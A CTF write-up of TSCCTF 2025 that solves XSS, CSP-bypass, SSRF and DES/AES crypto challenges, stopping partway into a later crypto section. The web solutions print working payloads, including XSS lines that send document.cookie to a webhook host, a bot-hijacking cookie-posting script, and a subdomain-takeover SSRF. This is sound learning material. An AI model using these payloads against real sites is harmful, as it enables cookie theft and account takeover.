TSCCTF 2025 Writeups
Recently, I saw a TSCCTF on CTFTime, which is a competition organized by another group of students in Taiwan who play CTF, so I solved some of the more difficult Web & Crypto and Misc challenges solo.
Web
book
XSS challenge, the core is this piece of js:
document.addEventListener("DOMContentLoaded", () => {
const urlParams = new URLSearchParams(window.location.search);
const title = atob(urlParams.get("title"));
const content = atob(urlParams.get("content"));
document.getElementById("title").innerHTML =
DOMPurify.sanitize(title);
if (typeof config !== "undefined" && config.DEBUG) {
document.getElementById("content").innerHTML = content;
} else {
document.getElementById("content").innerHTML =
DOMPurify.sanitize(content);
}
});
Obviously, it requires using dom clobbering to clobber winddow.config.DEBUG
, and then you can directly use content xss:
title: <a id="config"></a><a id="config" name="DEBUG">CLOBBERED</a>
content: <img src=x: onerror="(new Image).src='//webhook?'+document.cookie">
Flag: TSC{CLOBBERING_TIME!!!!!_ui2qjwu3wesixz}
Beautiful World
Another XSS challenge, the key is this piece of python:
@app.route("/note", methods=["GET"])
def view_note():
"""View a note"""
content = base64.urlsafe_b64decode(request.args.get("content", "")).decode()
# Check if the content is harmful content or not with BeautifulSoup.
soup = BeautifulSoup(content, "html.parser")
if sum(ele.name != 's' for ele in soup.find_all()):
return "no eval tag."
if sum(ele.attrs != {} for ele in soup.find_all()):
return "no eval attrs."
return render_template("note.html", note=content)
And note.html
will directly insert note
into the response without escaping, so the goal is to bypass this html sanitizer checked by bs4 + html.parser
. Testing will reveal that html.parser
will directly ignore unclosed tags, so the following payload can bypass it:
<img src=x: onerror="(new Image).src='//webhook?'+document.cookie" x="
Flag: TSC{Dont_use_Beautifulsoup_to_sanitise_HTML_u2gqwiewgyqwas}
Fakebook Pro
Another XSS challenge, the key is in posts.php
:
<h2>Posts by <?php echo htmlspecialchars($username ?? 'Unknown'); ?></h2>
<?php
if (isset($error)) {
echo "<p style='color: red;'>$error</p>";
} else {
// Display posts
$i = 0;
if ($postsResult->numColumns() > 0) {
while ($post = $postsResult->fetchArray()) {
$i++;
echo "<div class='box'><strong>Posted on: " . $post['created_at'] . "</strong><div id='post$i' class='post'></div></div>";
echo "
<script>
post = \"".remove_quotes($post['content'])."\";
document.getElementById('post$i').innerHTML = DOMPurify.sanitize(post);
</script>
";
}
} else {
echo "<p>This user has not made any posts yet.</p>";
}
}
?>
Both $username
and $post['content']
are controllable. The remove_quotes
function comes from the init.php
included at the beginning:
<?php
// Disable PHP error reporting and set some security headers
ini_set('expose_php', '0'); // Don't expose PHP in the HTTP header
ini_set('session.cookie_httponly', 1); // Set the session cookie to be accessible only through the HTTP protocol
ini_set('default_charset', ''); // Don't set a default charset
ini_set('max_execution_time', '5'); // Set the maximum execution time to 5 seconds
ini_set('max_input_time', '5'); // Set the maximum input time to 5 seconds
ini_set('max_input_vars', '1000'); // Set the maximum input variables to 1000
// Mimic Node Express server
header('Content-Type: text/html'); // Set the content type to HTML
header('X-Powered-By: Express'); // Set the X-Powered-By header to Express
header('ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"'); // Set the ETag header
header('Connection: keep-alive'); // Set the Connection header to keep-alive
header('Keep-Alive: timeout=5'); // Set the Keep-Alive header
// database setup, omitted...
function remove_quotes($str) {
// remove \
$str = str_replace("\\", "", $str);
// replace ' with \'
$str = str_replace("\"", "\\\"", $str);
// remove <
$str = str_replace("<", "", $str);
// remove >
$str = str_replace(">", "", $str);
// remove \n
$str = str_replace("\n", "", $str);
// remove \r
$str = str_replace("\r", "", $str);
return $str;
}
I couldn’t figure out how to bypass remove_quotes
, but seeing init.php
setting Content-Type: text/html
reminded me of Encoding Differentials: Why Charset Matters, which mentions that Chromium & Firefox will do encoding when there is no charset, and ISO-2022-JP can be exploited. In this case, it’s similar to technique 1 in the article, where inserting \x1b(J
into $username
switches to JIS X 0201 1976
encoding, making the \
character treated as the ¥
yen symbol, thus bypassing remove_quotes
.
Specifically, register a user with the username \x1b(J
, then post content with ";alert(origin)//
to achieve XSS. Then report to the bot with the path /posts.php?username=%1b(J)
.
However, the most troublesome part of this challenge is that the bot provided by the challenge is restricted by the docker network and cannot connect to the outside, so after document.cookie
, it cannot be directly transmitted outside. You have to find a way to store it on the XSS site. My idea is to have the bot log in as the flag:flag
user and then store the flag in the posts, but achieving this is also a bit tricky because the login index.php
will directly redirect logged-in users to dashboard.php
:
if (isset($_SESSION['username'])) {
header('Location: dashboard.php');
die();
}
In bot.js
, there is this piece:
const visit = async url => {
let browser
try {
url = new URL(url)
browser = await puppeteer.launch({
headless: true,
args: ["--disable-gpu", "--no-sandbox"],
executablePath: "/usr/bin/chromium-browser",
});
const context = await browser.createIncognitoBrowserContext()
const page = await context.newPage()
// set cookie
await page.setCookie({
name: "flag",
value: btoa(eval(`${'F'+'L'+'A'+'G'}`)),
domain: url.hostname,
})
await page.setCookie({
name: "admin",
value: "true",
domain: url.hostname,
})
await page.goto(SITE)
await sleep(2)
await page.type("#username", ADMIN_USERNAME + crypto.randomBytes(8).toString('hex'))
await page.type("#password", ADMIN_PASSWORD)
await page.click("#login");
await sleep(2);
await page.goto(url, { timeout: 10000 });
await sleep(10);
await browser.close()
} catch (e) {
console.log(e)
} finally {
if (browser) await browser.close()
}
}
It shows that the bot has an admin=true
cookie and is logged in, so it cannot log in directly. And logout.php
looks like this:
<?php
include("init.php");
// if not logged in, redirect to login page
if (!isset($_SESSION['username'])) {
header('Location: index.php');
die();
}
// if not an admin, deny access
if (isset($_COOKIE['admin'])) {
die("You are not authorized to access this page.");
}
// destroy the session
session_destroy();
// redirect to login page
header('Location: index.php');
So, through XSS, you need to do the following to get the flag:
- Delete the
admin
cookie - Visit
logout.php
to log out the logged-in admin user - Post to
index.php
to log in as the flag user (credentials:flag:flag
) - Post to
dashboard.php
to storedocument.cookie
as content - Log in as the flag user to get the flag
The actual js code would look like this:
sleep = function (ms) {
return new Promise(function (res) {
setTimeout(res, ms)
})
}
;(async function () {
try {
if (document.cookie.includes('admin')) {
document.cookie = 'admin=; Max-Age=0'
w = open('/logout.php')
await sleep(1000)
w.username.value = 'flag'
w.password.value = 'flag'
w.username.form.submit()
await sleep(1000)
await fetch('/dashboard.php', {
method: 'POST',
credentials: 'include',
body: new URLSearchParams({ content: document.cookie }),
})
}
} catch (err) {
console.log(err.message, err.stack)
}
})()
When writing the js, pay special attention to bypassing the characters prohibited by remove_quotes
, so you cannot use arrow functions and need to replace \n
with ;
.
Flag: TSC{Nyan~~; Nyan Nyan~~; Kon kon kon!!!_0c17deebb01a4a48b64a41cf8e891284}
Fakebook Ultra
This challenge continues from the previous one, with only a few changes. First, the XSS in posts.php
is simplified to:
echo "<div class='box'><strong>Posted on: " . $post['created_at'] . "</strong><div id='post$i' class='post'>".$post['content']."</div></div>";
So there’s no need to use encoding to bypass, but init.php
has added CSP:
<?php
// Disable PHP error reporting and set some security headers
ini_set('expose_php', '0'); // Don't expose PHP in the HTTP header
ini_set('session.cookie_httponly', 1); // Set the session cookie to be accessible only through the HTTP protocol
ini_set('default_charset', ''); // Don't set a default charset
ini_set('max_execution_time', '5'); // Set the maximum execution time to 5 seconds
ini_set('max_input_time', '5'); // Set the maximum input time to 5 seconds
ini_set('max_input_vars', '1000'); // Set the maximum input variables to 1000
// Mimic Node Express server
header('Content-Type: text/html'); // Set the content type to HTML
header('X-Powered-By: Express'); // Set the X-Powered-By header to Express
header('ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"'); // Set the ETag header
header('Connection: keep-alive'); // Set the Connection header to keep-alive
header('Keep-Alive: timeout=5'); // Set the Keep-Alive header
// Set CSP to allow only css
header("Content-Security-Policy: default-src 'none'; style-src 'self' 'unsafe-inline';");
And logout.php
has been deleted, so logging out is not possible (unbelievable). The bot part remains unchanged and cannot connect to the outside.
To bypass CSP, I thought of using the method from justCTF 2020 - Baby CSP, which involves generating a warning before calling header()
in php, and if the output buffering’s buffer size is exceeded, the response will be sent out first, making the subsequent header()
call ineffective.
In this challenge, the most exploitable part seems to be ini_set('max_input_vars', '1000');
, which will generate a warning if it exceeds 1000 parameters. Specifically, log in as the xss
user, add post content <script>alert(origin)</script>
, then visit /posts.php?username=xss¶m1=1¶m2=2&...¶m1000=1000
to see the alert.
However, the server’s returned html looks like this:
<br />
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>: ini_set(): Session ini settings cannot be changed after headers have already been sent in <b>/var/www/html/init.php</b> on line <b>4</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>11</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>12</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>13</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>14</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>/var/www/html/init.php</b> on line <b>18</b><br />
<br />
<b>Warning</b>: session_start(): Session cannot be started after headers have already been sent in <b>/var/www/html/init.php</b> on line <b>38</b><br />
<!DOCTYPE html>
<html lang="en">
<head>
<title>Posts</title>
<link rel="stylesheet" href="styles.css">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<main class="container">
<h2>Posts by xss</h2>
<div class='box'><strong>Posted on: 2025-01-15 14:07:22</strong><div id='post1' class='post'><script>alert(origin)</script></div></div>
<a href="index.php"><button class="big_button">Back to Home</button></a>
</main>
</body>
</html>
It shows that the warning part is not as long as the original writeup said, exceeding 4096 bytes, but it still successfully ignored the subsequent header()
call, so the actual mechanism disabling CSP might not be output buffering.
After XSS, to get the flag, you still need to use the previous method: log out admin -> log in as flag user -> post document.cookie
to posts -> log in yourself to get the flag.
But this challenge has no logout.php
, so we are trapped in the world of SAO unable to log out the admin user, and thus cannot log in as the flag user.
The workaround I found is to exploit a small bug in report.php
:
function build_url(array $parts) {
return (isset($parts['scheme']) ? "{$parts['scheme']}:" : '') .
((isset($parts['user']) || isset($parts['host'])) ? '//' : '') .
(isset($parts['user']) ? "{$parts['user']}" : '') .
(isset($parts['pass']) ? ":{$parts['pass']}" : '') .
(isset($parts['user']) ? '@' : '') .
(isset($parts['host']) ? "{$parts['host']}" : '') .
(isset($parts['port']) ? ":{$parts['port']}" : '') .
(isset($parts['path']) ? "{$parts['path']}" : '') .
(isset($parts['query']) ? "?{$parts['query']}" : '') .
(isset($parts['fragment']) ? "#{$parts['fragment']}" : '');
}
$URL = parse_url($_POST['url']);
$URL['scheme'] = 'http';
$URL['host'] = 'cms';
$URL['port'] = 80;
$URL = build_url($URL);
$res = sendUrlToBot($URL);
echo $res['data'];
It can be observed that if url
is @host/path
, parse_url
will turn it into ["path"]=> string(10) "@host/path"
, and build_url
will return http://cms:80@host/path
. Therefore, the forced addition of cms:80
becomes the user & pass, making the bot’s actual visited url’s host controllable.
Controlling the host allows setting the cookie on the visited url’s hostname, so if the bot can access the external network, it can directly visit our webhook, and the flag will appear in the request header, resulting in a significant unintended solution.
However, since the bot cannot connect to the outside, we can only follow the normal method. My approach is to submit the url @cms./posts.php?...
, making the bot visit http://cms:80@cms./posts.php?...
. The trailing dot in cms.
makes it an FQDN, which is a different hostname from cms
, thus a different origin. Since the bot logs in at http://cms
, it is not logged in at http://cms.
, simplifying the flag retrieval process to:
- Post to
index.php
to log in as the flag user (credentials:flag:flag
) - Post to
dashboard.php
to storedocument.cookie
as content - Log in yourself to get the flag
First, log in as the xss
user and add the following note content:
<script>
sleep = function (ms) {
return new Promise(function (res) {
setTimeout(res, ms)
})
}
;(async function () {
try {
if (document.cookie.includes('admin')) {
document.cookie = 'admin=; Max-Age=0'
w = open('/')
await sleep(1000)
w.username.value = 'flag'
w.password.value = 'flag'
w.username.form.submit()
await sleep(1000)
await fetch(new URL('/dashboard.php', location.href), {
method: 'POST',
credentials: 'include',
body: new URLSearchParams({ content: document.cookie }),
})
console.log('done')
}
} catch (err) {
console.log(err.message, err.stack)
}
})()
</script>
Then submit a specific url to report.php
:
curl 'http://TARGET_HOST:36369/report.php' --data-urlencode 'url=@cms./posts.php?xss=xss&0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=1&8=1&9=1&10=1&11=1&12=1&13=1&14=1&15=1&16=1&17=1&18=1&19=1&20=1&21=1&22=1&23=1&24=1&25=1&26=1&27=1&28=1&29=1&30=1&31=1&32=1&33=1&34=1&35=1&36=1&37=1&38=1&39=1&40=1&41=1&42=1&43=1&44=1&45=1&46=1&47=1&48=1&49=1&50=1&51=1&52=1&53=1&54=1&55=1&56=1&57=1&58=1&59=1&60=1&61=1&62=1&63=1&64=1&65=1&66=1&67=1&68=1&69=1&70=1&71=1&72=1&73=1&74=1&75=1&76=1&77=1&78=1&79=1&80=1&81=1&82=1&83=1&84=1&85=1&86=1&87=1&88=1&89=1&90=1&91=1&92=1&93=1&94=1&95=1&96=1&97=1&98=1&99=1&100=1&101=1&102=1&103=1&104=1&105=1&106=1&107=1&108=1&109=1&110=1&111=1&112=1&113=1&114=1&115=1&116=1&117=1&118=1&119=1&120=1&121=1&122=1&123=1&124=1&125=1&126=1&127=1&128=1&129=1&130=1&131=1&132=1&133=1&134=1&135=1&136=1&137=1&138=1&139=1&140=1&141=1&142=1&143=1&144=1&145=1&146=1&147=1&148=1&149=1&150=1&151=1&152=1&153=1&154=1&155=1&156=1&157=1&158=1&159=1&160=1&161=1&162=1&163=1&164=1&165=1&166=1&167=1&168=1&169=1&170=1&171=1&172=1&173=1&174=1&175=1&176=1&177=1&178=1&179=1&180=1&181=1&182=1&183=1&184=1&185=1&186=1&187=1&188=1&189=1&190=1&191=1&192=1&193=1&194=1&195=1&196=1&197=1&198=1&199=1&200=1&201=1&202=1&203=1&204=1&205=1&206=1&207=1&208=1&209=1&210=1&211=1&212=1&213=1&214=1&215=1&216=1&217=1&218=1&219=1&220=1&221=1&222=1&223=1&224=1&225=1&226=1&227=1&228=1&229=1&230=1&231=1&232=1&233=1&234=1&235=1&236=1&237=1&238=1&239=1&240=1&241=1&242=1&243=1&244=1&245=1&246=1&247=1&248=1&249=1&250=1&251=1&252=1&253=1&254=1&255=1&256=1&257=1&258=1&259=1&260=1&261=1&262=1&263=1&264=1&265=1&266=1&267=1&268=1&269=1&270=1&271=1&272=1&273=1&274=1&275=1&276=1&277=1&278=1&279=1&280=1&281=1&282=1&283=1&284=1&285=1&286=1&287=1&288=1&289=1&290=1&291=1&292=1&293=1&294=1&295=1&296=1&297=1&298=1&299=1&300=1&301=1&302=1&303=1&304=1&305=1&306=1&307=1&308=1&309=1&310=1&311=1&312=1&313=1&314=1&315=1&316=1&317=1&318=1&319=1&320=1&321=1&322=1&323=1&324=1&325=1&326=1&327=1&328=1&329=1&330=1&331=1&332=1&333=1&334=1&335=1&336=1&337=1&338=1&339=1&340=1&341=1&342=1&343=1&344=1&345=1&346=1&347=1&348=1&349=1&350=1&351=1&352=1&353=1&354=1&355=1&356=1&357=1&358=1&359=1&360=1&361=1&362=1&363=1&364=1&365=1&366=1&367=1&368=1&369=1&370=1&371=1&372=1&373=1&374=1&375=1&376=1&377=1&378=1&379=1&380=1&381=1&382=1&383=1&384=1&385=1&386=1&387=1&388=1&389=1&390=1&391=1&392=1&393=1&394=1&395=1&396=1&397=1&398=1&399=1&400=1&401=1&402=1&403=1&404=1&405=1&406=1&407=1&408=1&409=1&410=1&411=1&412=1&413=1&414=1&415=1&416=1&417=1&418=1&419=1&420=1&421=1&422=1&423=1&424=1&425=1&426=1&427=1&428=1&429=1&430=1&431=1&432=1&433=1&434=1&435=1&436=1&437=1&438=1&439=1&440=1&441=1&442=1&443=1&444=1&445=1&446=1&447=1&448=1&449=1&450=1&451=1&452=1&453=1&454=1&455=1&456=1&457=1&458=1&459=1&460=1&461=1&462=1&463=1&464=1&465=1&466=1&467=1&468=1&469=1&470=1&471=1&472=1&473=1&474=1&475=1&476=1&477=1&478=1&479=1&480=1&481=1&482=1&483=1&484=1&485=1&486=1&487=1&488=1&489=1&490=1&491=1&492=1&493=1&494=1&495=1&496=1&497=1&498=1&499=1&500=1&501=1&502=1&503=1&504=1&505=1&506=1&507=1&508=1&509=1&510=1&511=1&512=1&513=1&514=1&515=1&516=1&517=1&518=1&519=1&520=1&521=1&522=1&523=1&524=1&525=1&526=1&527=1&528=1&529=1&530=1&531=1&532=1&533=1&534=1&535=1&536=1&537=1&538=1&539=1&540=1&541=1&542=1&543=1&544=1&545=1&546=1&547=1&548=1&549=1&550=1&551=1&552=1&553=1&554=1&555=1&556=1&557=1&558=1&559=1&560=1&561=1&562=1&563=1&564=1&565=1&566=1&567=1&568=1&569=1&570=1&571=1&572=1&573=1&574=1&575=1&576=1&577=1&578=1&579=1&580=1&581=1&582=1&583=1&584=1&585=1&586=1&587=1&588=1&589=1&590=1&591=1&592=1&593=1&594=1&595=1&596=1&597=1&598=1&599=1&600=1&601=1&602=1&603=1&604=1&605=1&606=1&607=1&608=1&609=1&610=1&611=1&612=1&613=1&614=1&615=1&616=1&617=1&618=1&619=1&620=1&621=1&622=1&623=1&624=1&625=1&626=1&627=1&628=1&629=1&630=1&631=1&632=1&633=1&634=1&635=1&636=1&637=1&638=1&639=1&640=1&641=1&642=1&643=1&644=1&645=1&646=1&647=1&648=1&649=1&650=1&651=1&652=1&653=1&654=1&655=1&656=1&657=1&658=1&659=1&660=1&661=1&662=1&663=1&664=1&665=1&666=1&667=1&668=1&669=1&670=1&671=1&672=1&673=1&674=1&675=1&676=1&677=1&678=1&679=1&680=1&681=1&682=1&683=1&684=1&685=1&686=1&687=1&688=1&689=1&690=1&691=1&692=1&693=1&694=1&695=1&696=1&697=1&698=1&699=1&700=1&701=1&702=1&703=1&704=1&705=1&706=1&707=1&708=1&709=1&710=1&711=1&712=1&713=1&714=1&715=1&716=1&717=1&718=1&719=1&720=1&721=1&722=1&723=1&724=1&725=1&726=1&727=1&728=1&729=1&730=1&731=1&732=1&733=1&734=1&735=1&736=1&737=1&738=1&739=1&740=1&741=1&742=1&743=1&744=1&745=1&746=1&747=1&748=1&749=1&750=1&751=1&752=1&753=1&754=1&755=1&756=1&757=1&758=1&759=1&760=1&761=1&762=1&763=1&764=1&765=1&766=1&767=1&768=1&769=1&770=1&771=1&772=1&773=1&774=1&775=1&776=1&777=1&778=1&779=1&780=1&781=1&782=1&783=1&784=1&785=1&786=1&787=1&788=1&789=1&790=1&791=1&792=1&793=1&794=1&795=1&796=1&797=1&798=1&799=1&800=1&801=1&802=1&803=1&804=1&805=1&806=1&807=1&808=1&809=1&810=1&811=1&812=1&813=1&814=1&815=1&816=1&817=1&818=1&819=1&820=1&821=1&822=1&823=1&824=1&825=1&826=1&827=1&828=1&829=1&830=1&831=1&832=1&833=1&834=1&835=1&836=1&837=1&838=1&839=1&840=1&841=1&842=1&843=1&844=1&845=1&846=1&847=1&848=1&849=1&850=1&851=1&852=1&853=1&854=1&855=1&856=1&857=1&858=1&859=1&860=1&861=1&862=1&863=1&864=1&865=1&866=1&867=1&868=1&869=1&870=1&871=1&872=1&873=1&874=1&875=1&876=1&877=1&878=1&879=1&880=1&881=1&882=1&883=1&884=1&885=1&886=1&887=1&888=1&889=1&890=1&891=1&892=1&893=1&894=1&895=1&896=1&897=1&898=1&899=1&900=1&901=1&902=1&903=1&904=1&905=1&906=1&907=1&908=1&909=1&910=1&911=1&912=1&913=1&914=1&915=1&916=1&917=1&918=1&919=1&920=1&921=1&922=1&923=1&924=1&925=1&926=1&927=1&928=1&929=1&930=1&931=1&932=1&933=1&934=1&935=1&936=1&937=1&938=1&939=1&940=1&941=1&942=1&943=1&944=1&945=1&946=1&947=1&948=1&949=1&950=1&951=1&952=1&953=1&954=1&955=1&956=1&957=1&958=1&959=1&960=1&961=1&962=1&963=1&964=1&965=1&966=1&967=1&968=1&969=1&970=1&971=1&972=1&973=1&974=1&975=1&976=1&977=1&978=1&979=1&980=1&981=1&982=1&983=1&984=1&985=1&986=1&987=1&988=1&989=1&990=1&991=1&992=1&993=1&994=1&995=1&996=1&997=1&998=1&999=1'
Flag: TSC{Nyan~~; Nyan? Nyan!_e41783351a7440bc8fe8b75d6548a9cc}
Proxy Revenge
This challenge is modified from CGGC 2024 - Proxy:
<?php
// start session
session_start();
// Code stolen from https://chummy.tw/
function check_domain($url) {
$DOMAIN_SUFFIX = "\.tscctf-2025\.ctftime\.uk";
$pattern = "/^https?:\/\/.?.?[a-zA-Z0-9-]+".$DOMAIN_SUFFIX."\/.*$/";
if (preg_match($pattern, $url)) {
return true;
}
die("Good Hacker");
}
function proxy($service) {
// $service = "switchrange";
// $service = "previewsite";
// $service = "越獄";
$requestUri = $_SERVER['REQUEST_URI'];
$parsedUrl = parse_url($requestUri);
$options = array(
CURLOPT_RETURNTRANSFER => true, // return web page
CURLOPT_HEADER => false, // don't return headers
CURLOPT_FOLLOWLOCATION => false, // follow redirects
CURLOPT_MAXREDIRS => 2, // stop after 10 redirects
CURLOPT_ENCODING => "", // handle compressed
CURLOPT_USERAGENT => "FLAG{not_flag}", // name of client
CURLOPT_AUTOREFERER => true, // set referrer on redirect
CURLOPT_CONNECTTIMEOUT => 10, // time-out on connect
CURLOPT_TIMEOUT => 10, // time-out on response
);
// the len must be less than 50
if (strlen($service) > 50) {
die("Service name is too long.");
}
$port = 80;
setcookie("service", $service);
setcookie("port", $port);
$ch = curl_init();
curl_setopt_array($ch, $options);
// No more redirect QQ.
// curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
$fixeddomain = idn_to_ascii($fixeddomain);
$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);
$url = 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING'];
check_domain($url);
curl_setopt($ch, CURLOPT_URL, $url);
$response = curl_exec($ch);
curl_close($ch);
// if session admin is not true, redirect to rickroll
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ");
}
// if "please_give_me_flag_QQ" in response, then echo flag
if (strpos($response, "please_give_me_flag_QQ") !== false) {
echo getenv('FLAG');
}
curl_close($ch);
}
if (isset($_GET['service']))
proxy($_GET['service']);
else
// print source code
highlight_file(__FILE__);
First, I saw in this writeup that idn_to_ascii
returns an empty string when the length is too long, which might be exploitable, but this challenge limits $service
length to no more than 50, so this method is not applicable.
So I checked the idn_to_ascii
source code and found that it converts utf-8 strings to ascii (punycode), so directly inserting \xff
into $service
makes it an invalid utf-8 string, causing idn_to_ascii
to return an empty string, making fixeddomain
an empty string.
And $url
is constructed like this:
$url = 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING'];
To control the ssrf host, you need to control $parsedUrl['path']
, which comes from $parsedUrl = parse_url($_SERVER['REQUEST_URI']);
. In Apache + PHP, $_SERVER['REQUEST_URI']
is the full path of the http request, but if given randomly, it will 404 at the Apache layer and won’t execute this index.php
.
I utilized the mechanism where Apache can execute index.php
with /index.php/peko/miko
, and by adding an extra /
in front, making it //index.php/host/path
(schemeless url), the entire $url
becomes http:///host/path?service=%ff
.
Now most of $url
is controllable, and to bypass the ssrf response check while passing the check_domain
function, you need to get the flag.
The check_domain
regex is ^https?://.?.?[a-zA-Z0-9-]+\.tscctf-2025\.ctftime\.uk/.*$
, which mainly restricts the host to a subdomain of tscctf-2025.ctftime.uk
.
A quick dig reveals:
> dig peko.tscctf-2025.ctftime.uk
; <<>> DiG 9.20.4 <<>> peko.tscctf-2025.ctftime.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11595
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;peko.tscctf-2025.ctftime.uk. IN A
;; ANSWER SECTION:
peko.tscctf-2025.ctftime.uk. 300 IN CNAME ching367436.github.io.
ching367436.github.io. 3595 IN A 185.199.108.153
ching367436.github.io. 3595 IN A 185.199.109.153
ching367436.github.io. 3595 IN A 185.199.111.153
ching367436.github.io. 3595 IN A 185.199.110.153
;; Query time: 29 msec
;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)
;; WHEN: Wed Jan 15 23:35:17 CST 2025
;; MSG SIZE rcvd: 155
Indicating it should be a wildcard subdomain pointing to GitHub Pages, and visiting it through a browser also shows GitHub Pages’ 404, so you can directly use subdomain takeover to control the response.
The specific takeover method is not detailed here, you can look it up. I took http://maple3142.tscctf-2025.ctftime.uk/
, so finally, you can get the flag with:
> curl 'http://172.31.2.2:36360//index.php/maple3142.tscctf-2025.ctftime.uk/?service=%ff'
TSC{C0de_St0l3n_1s_C0de_Earn3d}
Crypto
2DES
#!/usr/bin/env python
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from random import choice
from os import urandom
from time import sleep
def encrypt(msg: bytes, key1, key2):
des1 = DES.new(key1, DES.MODE_ECB)
des2 = DES.new(key2, DES.MODE_ECB)
return des2.encrypt(des1.encrypt(pad(msg, des1.block_size)))
def main():
flag = open('/flag.txt', 'r').read().strip().encode()
print("This is a 2DES encryption service.")
print("But you can only control one of the key.")
print()
while True:
print("1. Encrypt flag")
print("2. Decrypt flag")
print("3. Exit")
option = int(input("> "))
if option == 1:
# I choose a key
# You can choose another one
keyset = ["1FE01FE00EF10EF1", "01E001E001F101F1", "1FFE1FFE0EFE0EFE"]
key1 = bytes.fromhex(choice(keyset))
key2 = bytes.fromhex(input("Enter key2 (hex): ").strip())
ciphertext = encrypt(flag, key1, key2)
print("Here is your encrypted flag:", flush=True)
print("...", flush=True)
sleep(3)
if ciphertext[:4] == flag[:4]:
print(ciphertext)
print("Hmmm... What a coincidence!")
else:
print("System error!")
print()
elif option == 2:
print("Decryption are disabled")
print()
elif option == 3:
print("Bye!")
exit()
else:
print("Invalid option")
print()
if __name__ == "__main__":
main()
This challenge is simple. On wiki, you can see that 1FE01FE00EF10EF1
is a semi-weak key for DES, meaning it has another key pair satisfying , which is E01FE01FF10EF10E
.
Thus, there is a chance of getting the flag.
> printf '1\nE01FE01FF10EF10E\n3\n' | nc 172.31.2.2 9487
This is a 2DES encryption service.
But you can only control one of the key.
1. Encrypt flag
2. Decrypt flag
3. Exit
> Enter key2 (hex): Here is your encrypted flag:
...
b'TSC{th3_Key_t0_br34k_DES_15_tHe_keY}\x04\x04\x04\x04'
Hmmm... What a coincidence!
1. Encrypt flag
2. Decrypt flag
3. Exit
> Bye!
I Never Thought Cryptography Was Fun
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from random import randrange
flag = open('flag.txt', 'r').read().strip().encode()
p = getPrime(16)
r = [randrange(1, p) for _ in range(5)]
print(f'p = {p}')
# You have 5 unknown random numbers
# But you can only get 4 hashes
# It is impossible to recover the flag, right?
for i in range(4):
h = flag[i]
for j in range(5):
h = (h + (j+1) * r[j]) % p
r[j] = h
print(f"hash[{i}] = {h}")
key = 0
for rr in r:
key += rr
key *= 2**16
key = pad(long_to_bytes(key), 16)
aes = AES.new(key, AES.MODE_ECB)
ciphertext = aes.encrypt(pad(flag, AES.block_size))
print(f"ciphertext = {ciphertext}")
In this challenge, flag[0:4] == b'TSC{'
is known, so there are only five unknowns in , and h_i
are obviously linear combinations of , forming an underdetermined linear system over , which has solutions. Since is only 16 bits, you can try all of them.
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.number import getPrime, long_to_bytes
from lll_cvp import polynomials_to_matrix
from Crypto.Util.Padding import pad
p = 42899
hashes = [1934, 22627, 36616, 21343]
ciphertext = b"z\xa5\xa5\x1d\xe5\xd2I\xb1\x15\xec\x95\x8b^\xb6:r=\xe3h\x06-\xe9\x01\xda\xc03\xa4\xf6\xa8_\x8c\x12!MZP\x17O\xee\xa3\x0f\x05\x0b\xea7cnP"
F = GF(p)
r = list(polygens(F, "r", 5))
flag = b"TSC{"
eqs = []
for i in range(4):
h = flag[i]
for j in range(5):
h = h + (j + 1) * r[j]
r[j] = h
print(f"hash[{i}] = {h}")
eqs.append(h - hashes[i])
M, monos = polynomials_to_matrix(eqs)
assert monos[-1] == 1
A = M[:, :-1]
b = vector(-M[:, -1])
rk = A.right_kernel_matrix()[0]
s0 = A.solve_right(b)
for t in range(p):
s = s0 + t * rk
assert all([e(*s) == 0 for e in eqs])
key = 0
for rr in [f(*s) for f in r]:
key += int(rr)
key *= 2**16
key = pad(long_to_bytes(key), 16)
aes = AES.new(key, AES.MODE_ECB)
flag = aes.decrypt(ciphertext)
if b"TSC{" in flag:
print(flag)
break
# TSC{d0_4_L1feTim3_0f_crypTogr4phy_w1th_yOu}
AES Encryption Oracle
#!/usr/bin/env python3
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
import os
def aes_cbc_encrypt(msg: bytes, key: bytes) -> bytes:
"""
Encrypts a message using AES in CBC mode.
Parameters:
msg (bytes): The plaintext message to encrypt.
key (bytes): The encryption key (must be 16, 24, or 32 bytes long).
Returns:
bytes: The initialization vector (IV) concatenated with the encrypted ciphertext.
"""
if len(key) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long.")
